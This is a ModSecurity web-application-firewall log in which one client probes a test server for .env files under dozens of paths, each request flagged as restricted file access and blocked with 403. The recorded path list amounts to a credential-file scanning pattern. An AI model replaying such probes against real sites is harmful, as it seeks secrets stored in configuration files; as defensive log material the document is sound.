[Mon Jul 28 20:46:20.964548 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stylesheets/.env&quot;] [unique_id &quot;aIfFfALZGLzAXRzMJrelsAAAAAg&quot;]
[Mon Jul 28 20:46:20.964748 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stylesheets/.env&quot;] [unique_id &quot;aIfFfALZGLzAXRzMJrelsAAAAAg&quot;]
[Mon Jul 28 20:46:21.024228 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /symfony/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/symfony/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrelsgAAAAg&quot;]
[Mon Jul 28 20:46:21.024457 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/symfony/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrelsgAAAAg&quot;]
[Mon Jul 28 20:46:21.024652 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/symfony/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrelsgAAAAg&quot;]
[Mon Jul 28 20:46:21.053708 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /system-config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system-config/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrelswAAAAg&quot;]
[Mon Jul 28 20:46:21.053920 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system-config/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrelswAAAAg&quot;]
[Mon Jul 28 20:46:21.054092 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system-config/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrelswAAAAg&quot;]
[Mon Jul 28 20:46:21.083132 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /system/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJreltAAAAAg&quot;]
[Mon Jul 28 20:46:21.083348 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJreltAAAAAg&quot;]
[Mon Jul 28 20:46:21.083541 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJreltAAAAAg&quot;]
[Mon Jul 28 20:46:21.173266 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /target/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/target/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJreltwAAAAg&quot;]
[Mon Jul 28 20:46:21.173504 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/target/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJreltwAAAAg&quot;]
[Mon Jul 28 20:46:21.174060 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/target/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJreltwAAAAg&quot;]
[Mon Jul 28 20:46:21.203600 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /temanr10/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/temanr10/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJreluAAAAAg&quot;]
[Mon Jul 28 20:46:21.203834 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/temanr10/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJreluAAAAAg&quot;]
[Mon Jul 28 20:46:21.204021 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/temanr10/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJreluAAAAAg&quot;]
[Mon Jul 28 20:46:21.233339 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /temanr9/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/temanr9/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJreluQAAAAg&quot;]
[Mon Jul 28 20:46:21.233590 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/temanr9/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJreluQAAAAg&quot;]
[Mon Jul 28 20:46:21.233778 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/temanr9/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJreluQAAAAg&quot;]
[Mon Jul 28 20:46:21.293518 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /temp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/temp/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJreluwAAAAg&quot;]
[Mon Jul 28 20:46:21.293734 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/temp/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJreluwAAAAg&quot;]
[Mon Jul 28 20:46:21.293918 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/temp/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJreluwAAAAg&quot;]
[Mon Jul 28 20:46:21.323033 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /template/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/template/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrelvAAAAAg&quot;]
[Mon Jul 28 20:46:21.323231 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/template/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrelvAAAAAg&quot;]
[Mon Jul 28 20:46:21.323418 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/template/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrelvAAAAAg&quot;]
[Mon Jul 28 20:46:21.352630 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /templates/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/templates/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrelvQAAAAg&quot;]
[Mon Jul 28 20:46:21.352830 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/templates/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrelvQAAAAg&quot;]
[Mon Jul 28 20:46:21.352995 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/templates/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrelvQAAAAg&quot;]
[Mon Jul 28 20:46:21.442631 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test-network/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test-network/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrelwAAAAAg&quot;]
[Mon Jul 28 20:46:21.442874 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test-network/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrelwAAAAAg&quot;]
[Mon Jul 28 20:46:21.443063 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test-network/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrelwAAAAAg&quot;]
[Mon Jul 28 20:46:21.472288 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test-network/addorg3/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test-network/addOrg3/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrelwQAAAAg&quot;]
